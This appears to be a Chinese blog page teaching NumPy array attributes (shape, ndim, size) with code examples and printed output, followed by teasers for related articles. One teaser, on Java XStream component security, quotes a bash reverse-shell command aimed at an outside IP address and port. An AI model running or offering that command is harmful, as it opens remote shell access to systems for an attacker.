Numpy科學計算與數據分析:Numpy數組屬性入門之形狀、維度與大小

Numpy數組屬性探索

學習目標

通過本課程的學習,學員將掌握Numpy數組的基本屬性,如形狀(shape)、維度(ndim)和大小(size),并能夠通過實際操作加深對這些屬性的理解。

相關知識點

Numpy數組屬性

學習內容

1 Numpy數組屬性

1.1 數組的形狀(shape)

數組的形狀是一個元組,表示數組在每個維度上的大小。例如,一個形狀為 (3, 4) 的數組是一個二維數組,它有3行4列。形狀屬性對于理解數組的結構至關重要,尤其是在處理多維數據時。

在Numpy中,可以通過 .shape 屬性來獲取數組的形狀。下面是一個簡單的例子,演示如何創建一個二維數組并獲取其形狀:

import numpy as np# 創建一個3行4列的二維數組
array_2d = np.array([[1, 2, 3, 4], [5, 6, 7, 8], [9, 10, 11, 12]])
print("二維數組:")
print(array_2d)# 獲取數組的形狀
shape = array_2d.shape
print("數組的形狀:", shape)

輸出結果:

二維數組:
[[ 1  2  3  4][ 5  6  7  8][ 9 10 11 12]]
數組的形狀: (3, 4)

形狀屬性不僅幫助人們了解數組的結構,還可以用于數組的重塑。例如,可以將一個一維數組重塑為二維數組:

import numpy as np
# 創建一個一維數組
array_1d = np.array([1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12])
print("一維數組:")
print(array_1d)# 重塑為3行4列的二維數組
reshaped_array = array_1d.reshape(3, 4)
print("重塑后的二維數組:")
print(reshaped_array)

輸出結果:

一維數組:
[ 1  2  3  4  5  6  7  8  9 10 11 12]
重塑后的二維數組:
[[ 1  2  3  4][ 5  6  7  8][ 9 10 11 12]]
1.2 數組的維度(ndim)

數組的維度是指數組的軸數或秩。例如,一維數組的維度為1,二維數組的維度為2,三維數組的維度為3,依此類推。了解數組的維度對于處理多維數據非常重要,尤其是在進行數組操作時。

在Numpy中,可以通過 .ndim 屬性來獲取數組的維度。下面是一個例子,演示如何創建不同維度的數組并獲取其維度:

import numpy as np
# 創建一個一維數組
array_1d = np.array([1, 2, 3, 4])
print("一維數組:")
print(array_1d)
print("一維數組的維度:", array_1d.ndim)# 創建一個二維數組
array_2d = np.array([[1, 2, 3, 4], [5, 6, 7, 8]])
print("二維數組:")
print(array_2d)
print("二維數組的維度:", array_2d.ndim)# 創建一個三維數組
array_3d = np.array([[[1, 2], [3, 4]], [[5, 6], [7, 8]]])
print("三維數組:")
print(array_3d)
print("三維數組的維度:", array_3d.ndim)

輸出結果:

一維數組:
[1 2 3 4]
一維數組的維度: 1
二維數組:
[[1 2 3 4][5 6 7 8]]
二維數組的維度: 2
三維數組:
[[[1 2][3 4]][[5 6][7 8]]]
三維數組的維度: 3
1.3 數組的大小(size)

數組的大小是指數組中元素的總數。了解數組的大小對于內存管理和數據處理非常有用,尤其是在處理大規模數據集時。

在Numpy中,可以通過 .size 屬性來獲取數組的大小。下面是一個例子,演示如何創建不同大小的數組并獲取其大小:

import numpy as np
# 創建一個一維數組
array_1d = np.array([1, 2, 3, 4])
print("一維數組:")
print(array_1d)
print("一維數組的大小:", array_1d.size)# 創建一個二維數組
array_2d = np.array([[1, 2, 3, 4], [5, 6, 7, 8]])
print("二維數組:")
print(array_2d)
print("二維數組的大小:", array_2d.size)# 創建一個三維數組
array_3d = np.array([[[1, 2], [3, 4]], [[5, 6], [7, 8]]])
print("三維數組:")
print(array_3d)
print("三維數組的大小:", array_3d.size)

輸出結果:

一維數組:
[1 2 3 4]
一維數組的大小: 4
二維數組:
[[1 2 3 4][5 6 7 8]]
二維數組的大小: 8
三維數組:
[[[1 2][3 4]][[5 6][7 8]]]
三維數組的大小: 8

通過本課程的學習,掌握了Numpy數組的基本屬性,包括形狀、維度和大小。這些屬性是處理多維數據的基礎,希望學員在實際應用中能夠靈活運用這些知識。


1. Numpy入門:數組操作與科學計算基礎
2. Numpy入門:多平臺安裝與基礎環境配置
3. Numpy數組創建與應用入門
4. Numpy數組屬性入門:形狀、維度與大小
5. Numpy數組索引與切片入門
6. Numpy數組操作入門:合并、分割與重塑
7. Numpy數學函數入門與實踐
8. Numpy數據分析基礎:統計函數應用
9. Numpy隨機數生成入門
10. Numpy線性代數基礎與實踐
11. Numpy文件操作入門:數組數據的讀取與保存
12. Numpy廣播機制入門與實踐
13. Numpy布爾索引與花式索引實戰
14. Numpy高效數據處理與優化
15. Numpy數據分析與圖像處理入門

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/95215.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/95215.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/95215.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

IF 33.3+ 通過多區域單細胞測序解析肺腺癌的空間和細胞結構

通過多區域單細胞測序解析肺腺癌的空間和細胞結構摘要對于肺腺癌演進過程中單個細胞群的地理空間架構知之甚少。在此,我們對來自5例早期LUAD和14個來自腫瘤的具有明確空間鄰近性的多區域正常肺組織的186,916個細胞進行了單細胞RNA測序。我們發現細胞譜系…

【Redis的安裝與配置】

一:下載 Redis ? 百度網盤分享 👉 https://pan.baidu.com/s/1xkrLlyUPyM0btCFFpGEhcw?pwdSVIP ? 從Github下載 👉 https://github.com/MicrosoftArchive/redis/releases 二:安裝 Redis 1?? 將下載的壓縮包文件 解壓到 某個文…

TDSQL GTS文件說明

基于時間點恢復:全備xlogGTS文件 在TDSQL的備份恢復體系中,GTS文件是全局時間戳(Global Timestamp)的存儲載體,用于記錄事務在分布式環境中的精確執行順序和時間點 其核心作用體現在以下方面: 1?。時間基準…

全星APQP數字化平臺在汽車零部件行業的深度應用與效益分析

全星APQP數字化平臺在汽車零部件行業的深度應用與效益分析 全星研發項目管理APQP軟件系統是專為汽車零部件行業打造的數字化研發管理平臺,通過深度集成行業核心工具鏈,實現從產品設計到量產的全程可控。以下為該系統在汽車零部件行業的應用解析&#xf…

網絡通信安全:HTTPS協議的密碼學基石

引言:從HTTP到HTTPS的安全升級 在網絡通信中,數據傳輸的安全性至關重要。早期的HTTP協議采用明文傳輸,存在三大安全隱患: 機密性問題:數據在傳輸過程中可能被竊聽(如公共Wi-Fi中的監聽)&#xf…

pip 和 conda,到底用哪個安裝?

為什么 pip 有時裝不下來而 --prefer-binary 可以?什么是源代碼發行版?什么是輪子?conda 和 pip 有什么區別?優先用誰啊?兩者適合的場景(何時用哪個)安裝路徑:pip / conda 分別裝到哪…

bert學習

首先了解一下幾種embedding。比如elmo就是一個embedding模型。one-hot編碼只能實現one word one embedding,而我們的elmo能實現one token one embeddingElmo是基于雙向LSTM,所以每個詞其實會有正向和反向兩個預測結果,那么我們用哪個呢&#…

Java安全-組件安全

一、Xstream啟動環境并訪問接下來我們構造反彈shell語句,bash -i >& /dev/tcp/8.152.2.86/9999 0>&1,緊接著對其進行base64編碼。接下來使用命令即可首先開啟監聽接下來執行命令接下來抓包對其進行payload構造即可緊接著回去查看回顯發現成…

【10】微網優聯——微網優聯 嵌入式技術一面,校招,面試問答記錄

微網優聯——微網優聯 嵌入式技術一面,校招,問答記錄 1. 2 分鐘簡單自自我介紹2. 問一遍筆試題目3. IP地址在哪個層4.手動配置過IP地址嗎?要配哪幾個?5. ARP 是域名找IP地址還是IP地址找域名?6. Linux、計算機網絡、操作系統掌握的怎么樣&a…

C#使用EPPlus讀寫Excel

依賴EPPlus 獲取依賴可以閱讀:Nuget For Unity插件介紹_nugetforunity-CSDN博客 可以參閱該篇快速入門:在Unity中使用Epplus寫Excel_unity epplus-CSDN博客 下面是我封裝的幾個方法: 要在合適的時機配置許可證,比如你的工具類的靜態函數.建議使用版本7.7.1 #region Excel封裝,…

高性能Web服務器

一、Web服務基礎介紹 1.1、互聯網發展歷程 1993年3月2日,中國科學院高能物理研究所租用AT&T公司的國際衛星信道建立的接入美國SLAC國家實驗室的64K專線正式開通,成為我國連入Internet的第一根專線。 1995年馬云開始創業并推出了一個web網站中國黃…

《算法導論》第 16 章 - 貪心算法

大家好!今天我們來深入探討《算法導論》第 16 章的核心內容 —— 貪心算法。貪心算法是一種在每一步選擇中都采取在當前狀態下最好或最優(即最有利)的選擇,從而希望導致結果是全局最好或最優的算法。它在許多優化問題中都有廣泛應…

Redis面試精講 Day 18:Redis網絡優化與連接管理

【Redis面試精講 Day 18】Redis網絡優化與連接管理 開篇 歡迎來到"Redis面試精講"系列第18天,今天我們將深入探討Redis網絡優化與連接管理技術。在分布式系統中,Redis的網絡性能和連接管理直接影響整個系統的響應速度和穩定性。掌握這些優化…

Centos8系統在安裝Git包時,報錯:“沒有任何匹配: git”

報錯類型: sudo dnf install git Repository AppStream is listed more than once in the configuration Repository BaseOS is listed more than once in the configuration Repository extras is listed more than once in the configuration Repository fasttrac…

glide緩存策略和緩存命中

一 緩存策略 1 Glide 的 diskCacheStrategy() 一共有 5 種枚舉值(DiskCacheStrategy),每種的作用和區別如下:1. DiskCacheStrategy.ALL 作用:同時緩存原始圖片(原圖數據)和經過變換(…

如何將PDF文檔進行高效編輯處理!

PDF文件可以在任何設備上以相同的格式查看,無論操作系統或軟件環境如何,可以確保修改后的文檔仍然保持原有的布局和格式。它完全免費,下載后雙擊即可運行,無需安裝,使用非常方便。它具備出色的文本編輯功能&#xff0c…

應用層模擬面試題

模擬面試-C第一題(開發音視頻處理模塊)在開發音視頻處理模塊時,FFmpeg資源(AVFrame*)需要自動釋放。如何用unique_ptr定制刪除器替代手動av_frame_free()?寫出代碼并解釋RAII優勢。參考答案:auto frame_deleter[](AVFr…

分享一款基于STC8H8K32U-45I-LQFP48單片機的4路數字量輸入輸出模塊

4路數字量輸入輸出模塊產品說明產品特性輸入部分: 4路光耦隔離數字量輸入通道支持NPN和PNP兩種輸入方式,可通過撥碼開關切換輸入電壓范圍:10-30VDC典型應用:可連接按鈕開關、接近開關、光電傳感器等數字信號設備輸出部分&#xff…

redis常見的性能問題

Redis 的性能問題通常源于配置不當、數據結構誤用、資源瓶頸或架構缺陷。以下是 Redis 常見的性能問題及優化方案,結合線上經驗整理:🧠 ?一、內存相關問題??1. 內存不足(OOM)???現象?:OOM errors、響…

Blender 基礎操作

基礎操作 一、視角控制 ①旋轉視角 : 拖動鼠標中鍵 ②平移視角 : shift 鼠標中鍵 ③放大\縮小 :鼠標滾輪 二、物體控制 1、重要 ① 移動物體 : G ② 旋轉物體 : R ③ 縮放物體 : S 2、不重要 ④ 新建物體 : shift A ⑤ 復制物體 : shift D…